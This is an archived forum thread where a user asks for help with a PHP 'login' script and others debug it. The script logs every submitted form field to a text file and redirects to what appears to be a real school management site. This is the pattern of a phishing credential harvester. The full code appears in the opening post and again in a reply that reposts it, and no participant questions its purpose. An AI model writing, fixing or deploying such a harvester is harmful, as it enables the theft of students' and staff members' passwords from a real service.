You are viewing our Forum Archives. To view or take place in current topics click here.
login code PHP help
Posted:
login code PHP helpPosted:
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
When I open it, it says there is a problem with line 3,4 and 10
<?php
header ('Location: http://sms.eursc.eu');
$handle = fopen("logs.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
#2. Posted:
Status: Offline
Joined: Dec 30, 201311Year Member
Posts: 1,331
Reputation Power: 69
It should give you a more specific error that "problem". For example "not defined" or "no such file or directory"
- 0useful
- 0not useful
#3. Posted:
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
30-Jun-2016 14:45:45 UTC] PHP Parse error: syntax error, unexpected 'foreach' (T_FOREACH) in /home/public_html/SMS/explore.php on line 4
- 0useful
- 0not useful
#4. Posted:
Status: Offline
Joined: Dec 30, 201311Year Member
Posts: 1,331
Reputation Power: 69
space after "foreach"
- 0useful
- 0not useful
#5. Posted:
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
what do you mean?
like this
like this
$handle = fopen("logs.txt", "a");
for each ($_POST as $variable => $value) {
fwrite($handle, $variable);
- 0useful
- 0not useful
#6. Posted:
Status: Offline
Joined: Dec 30, 201311Year Member
Posts: 1,331
Reputation Power: 69
<?php
header ('Location: http://sms.eursc.eu');
$handle = fopen("logs.txt", "a");
foreach ($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
- 0useful
- 0not useful
#7. Posted:
Status: Offline
Joined: Nov 05, 201311Year Member
Posts: 2,753
Reputation Power: 452
Status: Offline
Joined: Nov 05, 201311Year Member
Posts: 2,753
Reputation Power: 452
Isn't exit a function?
I don't usually use exit, but I think this might be your problem.
so type
"exit();"
instead of "exit;"
I don't usually use exit, but I think this might be your problem.
so type
"exit();"
instead of "exit;"
- 0useful
- 0not useful
#8. Posted:
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
exit is not a problem, according to my Host site, its line 4 that can't be executed .
- 0useful
- 0not useful
#9. Posted:
Status: Offline
Joined: Aug 16, 201212Year Member
Posts: 598
Reputation Power: 29
Sys wrote space after "foreach"
PHP is whitespace insensitive.
OP I don't see anything wrong with your code. Furthermore, I ran it on my own system without any problem.
Are you sure you have the right file?
CriticaI wrote Isn't exit a function?
I don't usually use exit, but I think this might be your problem.
so type
"exit();"
instead of "exit;"
exit is a language construct, similar to echo. It does not require parentheses.
- 1useful
- 0not useful
#10. Posted:
Status: Offline
Joined: Aug 16, 20168Year Member
Posts: 2
Reputation Power: 0
header('Location: ...') function's require an exit(); function prone to using the redirect, anything below this exit(); function is void (it will not be executed) unless wrapped inside an expression like so:
On the side, if you're creating a login system you should move away from text-driven systems and look into databases & holding an active session token.
if(isset($x)) {
header('Location: http://www.google.com');
exit();
}
$myObject = new Object(); // this line will be executed since $x is not defined.
On the side, if you're creating a login system you should move away from text-driven systems and look into databases & holding an active session token.
- 1useful
- 0not useful
You are viewing our Forum Archives. To view or take place in current topics click here.